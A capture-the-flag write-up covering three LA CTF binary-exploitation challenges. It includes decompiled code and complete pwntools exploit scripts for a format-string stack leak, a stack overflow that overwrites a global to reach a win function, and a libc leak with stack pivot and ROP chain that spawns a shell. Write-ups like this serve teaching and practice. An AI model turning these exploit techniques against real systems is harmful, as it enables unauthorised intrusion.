# LA CTF ## pwn/2password Download: [Chall](https://chall-files.lac.tf/uploads/29300e1ae5ea6df8c0aed7d5c08ab5d80c257899cf4a6d92290e4e54290dacde/chall) ![image](https://hackmd.io/_uploads/HJiXAU8tJx.png) ```c int __cdecl main(int argc, const char **argv, const char **envp) { char s2[48]; // [rsp+0h] [rbp-D0h] BYREF char v5[48]; // [rsp+30h] [rbp-A0h] BYREF char v6[48]; // [rsp+60h] [rbp-70h] BYREF char s1[56]; // [rsp+90h] [rbp-40h] BYREF FILE *v8; // [rsp+C8h] [rbp-8h] setbuf(stdout, 0LL); printf("Enter username: "); readline(s1, 42LL, stdin); printf("Enter password1: "); readline(v6, 42LL, stdin); printf("Enter password2: "); readline(v5, 42LL, stdin); v8 = fopen("flag.txt", "r"); if ( !v8 ) { puts("can't open flag"); exit(1); } readline(s2, 42LL, v8); if ( !strcmp(s1, "kaiphait") && !strcmp(v6, "correct horse battery staple") && !strcmp(v5, s2) ) { puts("Access granted"); } else { printf("Incorrect password for user "); printf(s1); putchar(10); } return 0; } ``` Reversing and checking security it, we can see the bug is from **printf(s1)** (format string) but it just has only 1 **printf(argument)** so it is very hard to **overwrites** or **leaks some specific variables** so we just can **leak the stack** ![image](https://hackmd.io/_uploads/S1OTZwUYkx.png) After getting the information from the stack, I packed it as 64-bit and obtained the flag. Script (help by google and chatGPT): ```python from pwn import * import re p = remote('chall.lac.tf', 31142) # p = process('./chall') # gdb.attach(p) payload = b'%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p' p.sendlineafter(b'Enter username: ', payload) p.sendlineafter(b'Enter password1: ', b'1') p.sendlineafter(b'Enter password2: ', b'1') p.recvuntil(b'Incorrect password for user ') recv = p.recvline().strip() print(recv) input_string = recv.decode(errors="ignore") input_string = input_string.replace("(nil)", "0x0") print("\nFiltered String:", input_string) hex_values = re.split(r'(?=0x[0-9a-fA-F]+)', input_string) hex_values = [h for h in hex_values if h.startswith("0x")] byte_values = [] for hex_val in hex_values: hex_str = hex_val[2:] if len(hex_str) < 2: continue hex_str = hex_str.rjust(16, '0') byte_values.append(bytes.fromhex(hex_str)) for i, byte_val in enumerate(byte_values): print(f"Bytes {i}: {byte_val[::-1]}") p.interactive() ``` ![image](https://hackmd.io/_uploads/S1Xe7VctJx.png) Flag: **lactf{hunter2_cfc0xz68}** ![image](https://hackmd.io/_uploads/SJtDQv8K1x.png) ## state-change Download [chall](https://chall-files.lac.tf/uploads/d538733c7408bb1cad86b44d2e5746a05a1676e26ef2a600b86fb065f3dc51ae/chall) ![image](https://hackmd.io/_uploads/SyAxBYOKye.png) **Vuln**: ``` Dump of assembler code for function vuln: 0x00000000004012b5 <+0>: endbr64 0x00000000004012b9 <+4>: push rbp 0x00000000004012ba <+5>: mov rbp,rsp 0x00000000004012bd <+8>: sub rsp,0x20 0x00000000004012c1 <+12>: lea rax,[rip+0xd80] # 0x402048 0x00000000004012c8 <+19>: mov rdi,rax 0x00000000004012cb <+22>: call 0x401090 <puts@plt> 0x00000000004012d0 <+27>: mov rdx,QWORD PTR [rip+0x2d59] # 0x404030 <stdin@GLIBC_2.2.5> 0x00000000004012d7 <+34>: lea rax,[rbp-0x20] 0x00000000004012db <+38>: mov esi,0x30 0x00000000004012e0 <+43>: mov rdi,rax 0x00000000004012e3 <+46>: call 0x4010c0 <fgets@plt> 0x00000000004012e8 <+51>: nop 0x00000000004012e9 <+52>: leave => 0x00000000004012ea <+53>: ret End of assembler dump. ``` ```c char *vuln() { char s[32]; // [rsp+0h] [rbp-20h] BYREF puts("Hey there, I'm deaddead. Who are you?"); return fgets(s, 48, stdin); } ``` **Win**: ``` Dump of assembler code for function win: 0x00000000004011d6 <+0>: endbr64 0x00000000004011da <+4>: push rbp 0x00000000004011db <+5>: mov rbp,rsp 0x00000000004011de <+8>: sub rsp,0x150 0x00000000004011e5 <+15>: lea rax,[rbp-0x50] 0x00000000004011e9 <+19>: movabs rcx,0x742e67616c662f2e 0x00000000004011f3 <+29>: mov QWORD PTR [rax],rcx 0x00000000004011f6 <+32>: mov WORD PTR [rax+0x8],0x7478 0x00000000004011fc <+38>: mov BYTE PTR [rax+0xa],0x0 0x0000000000401200 <+42>: lea rax,[rip+0xe01] # 0x402008 0x0000000000401207 <+49>: mov rsi,rax 0x000000000040120a <+52>: lea rax,[rip+0xdf9] # 0x40200a 0x0000000000401211 <+59>: mov rdi,rax 0x0000000000401214 <+62>: call 0x4010d0 <fopen@plt> 0x0000000000401219 <+67>: mov QWORD PTR [rbp-0x8],rax 0x000000000040121d <+71>: mov eax,DWORD PTR [rip+0x331d] # 0x404540 <state> 0x0000000000401223 <+77>: cmp eax,0xf1eeee2d 0x0000000000401228 <+82>: je 0x401243 <win+109> 0x000000000040122a <+84>: lea rax,[rip+0xde2] # 0x402013 0x0000000000401231 <+91>: mov rdi,rax 0x0000000000401234 <+94>: call 0x401090 <puts@plt> 0x0000000000401239 <+99>: mov edi,0x1 0x000000000040123e <+104>: call 0x4010e0 <exit@plt> 0x0000000000401243 <+109>: cmp QWORD PTR [rbp-0x8],0x0 0x0000000000401248 <+114>: jne 0x40125b <win+133> 0x000000000040124a <+116>: lea rax,[rip+0x330f] # 0x404560 <errorMsg> 0x0000000000401251 <+123>: mov rdi,rax 0x0000000000401254 <+126>: call 0x401090 <puts@plt> 0x0000000000401259 <+131>: jmp 0x4012b2 <win+220> 0x000000000040125b <+133>: mov rdx,QWORD PTR [rbp-0x8] 0x000000000040125f <+137>: lea rax,[rbp-0x150] 0x0000000000401266 <+144>: mov esi,0x100 0x000000000040126b <+149>: mov rdi,rax 0x000000000040126e <+152>: call 0x4010c0 <fgets@plt> 0x0000000000401273 <+157>: lea rax,[rbp-0x150] 0x000000000040127a <+164>: lea rdx,[rip+0xdaf] # 0x402030 0x0000000000401281 <+171>: mov rsi,rdx 0x0000000000401284 <+174>: mov rdi,rax 0x0000000000401287 <+177>: call 0x4010b0 <strcspn@plt> 0x000000000040128c <+182>: mov BYTE PTR [rbp+rax*1-0x150],0x0 0x0000000000401294 <+190>: lea rax,[rip+0xd97] # 0x402032 0x000000000040129b <+197>: mov rdi,rax 0x000000000040129e <+200>: call 0x401090 <puts@plt> 0x00000000004012a3 <+205>: lea rax,[rbp-0x150] 0x00000000004012aa <+212>: mov rdi,rax 0x00000000004012ad <+215>: call 0x401090 <puts@plt> 0x00000000004012b2 <+220>: nop 0x00000000004012b3 <+221>: leave 0x00000000004012b4 <+222>: ret End of assembler dump. ``` ```c int win() { char s[256]; // [rsp+0h] [rbp-150h] BYREF char v2[16]; // [rsp+100h] [rbp-50h] BYREF FILE *stream; // [rsp+148h] [rbp-8h] strcpy(v2, "./flag.txt"); stream = fopen("flag.txt", "r"); if ( state != 0xF1EEEE2D ) { puts("\ntoo ded to gib you the flag"); exit(1); } if ( !stream ) return puts(errorMsg); fgets(s, 256, stream); s[strcspn(s, "\n")] = 0; puts("Here's the flag: "); return puts(s); } ``` After checking for a while, there is no way to reach to **win** function except using **ret2win** But we have a problem that we can not pass the competition of **state** and **4058967597** (**0xf1eeee2d**), so i try to **return** after the competition but it can not open the file flag.txt so we just can change the **state** into **4058967597** (**0xf1eeee2d**) ```c char *vuln() { char s[32]; // [rsp+0h] [rbp-20h] BYREF puts("Hey there, I'm deaddead. Who are you?"); return fgets(s, 48, stdin); } ``` Look at the **vuln** function, because the **s** array just have 32 byte, but you can text 48 byte so it can overwrite **save rbp and save rip** so we can control **save rbp** and **rsp** to change the value of **state** by change **save rip** into **vuln** to fgets again and change the value of **state** ![image](https://hackmd.io/_uploads/SyCL5T2Q1x.png) Let try can i change **state** into another value Script: ```python from pwn import * p = process('./chall') input() payload = b'A' * 32 + p64(0x404540 + 0x20) + p64(0x4012bd) + p64(0x111111111111111111) p.sendline(payload) p.interactive() ``` ![image](https://hackmd.io/_uploads/BJSSFK_Kyl.png) 0x4012bd is **vuln + 8** 0x404540 is address of **state** and +0x20 because look at the **vuln** function again ``` 0x00000000004012b5 <+0>: endbr64 0x00000000004012b9 <+4>: push rbp 0x00000000004012ba <+5>: mov rbp,rsp 0x00000000004012bd <+8>: sub rsp,0x20 ``` after that **rsp = rbp - 0x20** and you can change the value in **[rsp]** so we need to plus **rbp** more **0x20** to change **state** ![image](https://hackmd.io/_uploads/SJrkjtOF1l.png) After **fgets** again the value of **state** have been change. ![image](https://hackmd.io/_uploads/rJkvcKOFJg.png) My final script: ```python from pwn import * # p = process('./chall') p = remote('chall.lac.tf', 31593) payload = b'A' * 32 + p64(0x404540 + 0x20) + p64(0x4012bd)[:-1] p.sendafter(b'you?\n', payload) payload = p64(0xf1eeee2d).ljust(32, b'A') + p64(0) + p64(0x4011db)[:-1] p.sendafter(b'you?\n', payload) p.interactive() ``` Eg: ![image](https://hackmd.io/_uploads/SkbMiKdYkl.png) **State** have been change to the right value and we got flag ![image](https://hackmd.io/_uploads/ryrcLt_tkx.png) Flag: lactf{1s_tHi5_y0Ur_1St_3vER_p1Voot} ![image](https://hackmd.io/_uploads/BJ0p7PIYye.png) Notice: using **sendafter** or combine 2 payload into 1 and don't forget to have **[:-1]** before the because the author using **fgets**, **fgets** can be stop if it meet NULL byte or (n - 1) byte input completed, so we use [:-1] to but a byte of the address so we can re-input 47 byte again when we use the **fgets** in vuln ## pwn/minceraft ![image](https://hackmd.io/_uploads/H1dD3oHcke.png) Flow: leak libc -> stack_pivot -> rop chain ![image](https://hackmd.io/_uploads/Hk1srVI91l.png) **BOF** ![image](https://hackmd.io/_uploads/r1kQI4I5Je.png) We can leak libc here if we can control **rax**. We can also control the **rax** because **rax** will contain the result of the function, we can call **read_int** and then leak libc then we call **system('/bin/sh')**. ```python3 from pwn import * p = process('./chall_patched') gdb.attach(p, gdbscript = ''' b* main b* read_int b* main + 185 ''') input() p.sendline(b'1') # Single player offset = 0x48 ret = 0x401016 pivot = 0x404000 read_int = 0x401176 puts = 0x404000 mov_rdi_rax = 0x401243 leak_libc = flat( b'A' * offset, p64(ret), p64(read_int), p64(mov_rdi_rax) ) input() p.sendline(leak_libc) input() p.sendline(b'1') # Survival p.sendlineafter(b'Exit\n', b'2') # Exit input() p.sendline(b'4210688') data = p.recvline().strip() puts_libc = u64(data.ljust(8, b'\x00')) print(hex(puts_libc)) p.interactive() ``` ![image](https://hackmd.io/_uploads/r12fGrI9kl.png) Leak puts_libc ![image](https://hackmd.io/_uploads/HkQsMHU5Jg.png) calc offset from libc_base to puts_libc. => libc_base = puts_libc - 0x77980 ![image](https://hackmd.io/_uploads/Sktg4S85kx.png) ![image](https://hackmd.io/_uploads/r1x84r8c1l.png) bin_sh = libc_base + 0xa3d31 ![image](https://hackmd.io/_uploads/SJ73NH8qJg.png) => pop_rdi = libc_base + 0x0277e5 ![image](https://hackmd.io/_uploads/BkzmFH891e.png) => system = libc_base + 0x04c490 ```python3 from pwn import * p = process('./chall_patched') gdb.attach(p, gdbscript = ''' b* main b* read_int b* main + 185 ''') input() p.sendline(b'1') # Single player offset = 0x48 ret = 0x401016 pivot = 0x404000 read_int = 0x401176 mov_rdi_rax = 0x401243 leak_puts_libc = flat( b'A' * offset, p64(ret), p64(read_int), p64(mov_rdi_rax) ) p.sendline(leak_puts_libc) p.sendline(b'1') # Survival p.sendlineafter(b'Exit\n', b'2') # Exit input() p.sendline(b'4210688') data = p.recvline().strip() puts_libc = u64(data.ljust(8, b'\x00')) libc_base = puts_libc - 0x77980 bin_sh = libc_base + 0xa3d31 system = libc_base + 0x04c490 pop_rdi = libc_base + 0x0277e5 print(hex(libc_base)) final = flat( b'A' * offset, p64(pop_rdi), p64(bin_sh), p64(system) ) input() p.sendline(final) p.interactive() ``` ![image](https://hackmd.io/_uploads/ryWpqr8qJe.png) Stack pivot to fix it Final script: ```python3 from pwn import * p = process('./chall_patched') gdb.attach(p, gdbscript = ''' b* main b* read_int b* main + 185 ''') input() p.sendline(b'1') # Single player offset = 0x40 ret = 0x401016 pivot = 0x404700 read_int = 0x401176 mov_rdi_rax = 0x401243 leak_puts_libc = flat( b'A' * offset, p64(pivot), p64(ret), p64(read_int), p64(mov_rdi_rax) ) p.sendline(leak_puts_libc) p.sendline(b'1') # Survival p.sendlineafter(b'Exit\n', b'2') # Exit input() p.sendline(b'4210688') data = p.recvline().strip() puts_libc = u64(data.ljust(8, b'\x00')) libc_base = puts_libc - 0x77980 bin_sh = libc_base + 0x196031 system = libc_base + 0x04c490 pop_rdi = libc_base + 0x0277e5 print(hex(libc_base)) final = flat( b'A' * offset, p64(pivot), p64(pop_rdi), p64(bin_sh), p64(ret), p64(system) ) input() p.sendline(final) p.sendline(b'1') p.sendline(b'2') p.interactive() ``` ![image](https://hackmd.io/_uploads/HJtkCSL51x.png) Flag: W1{hehe}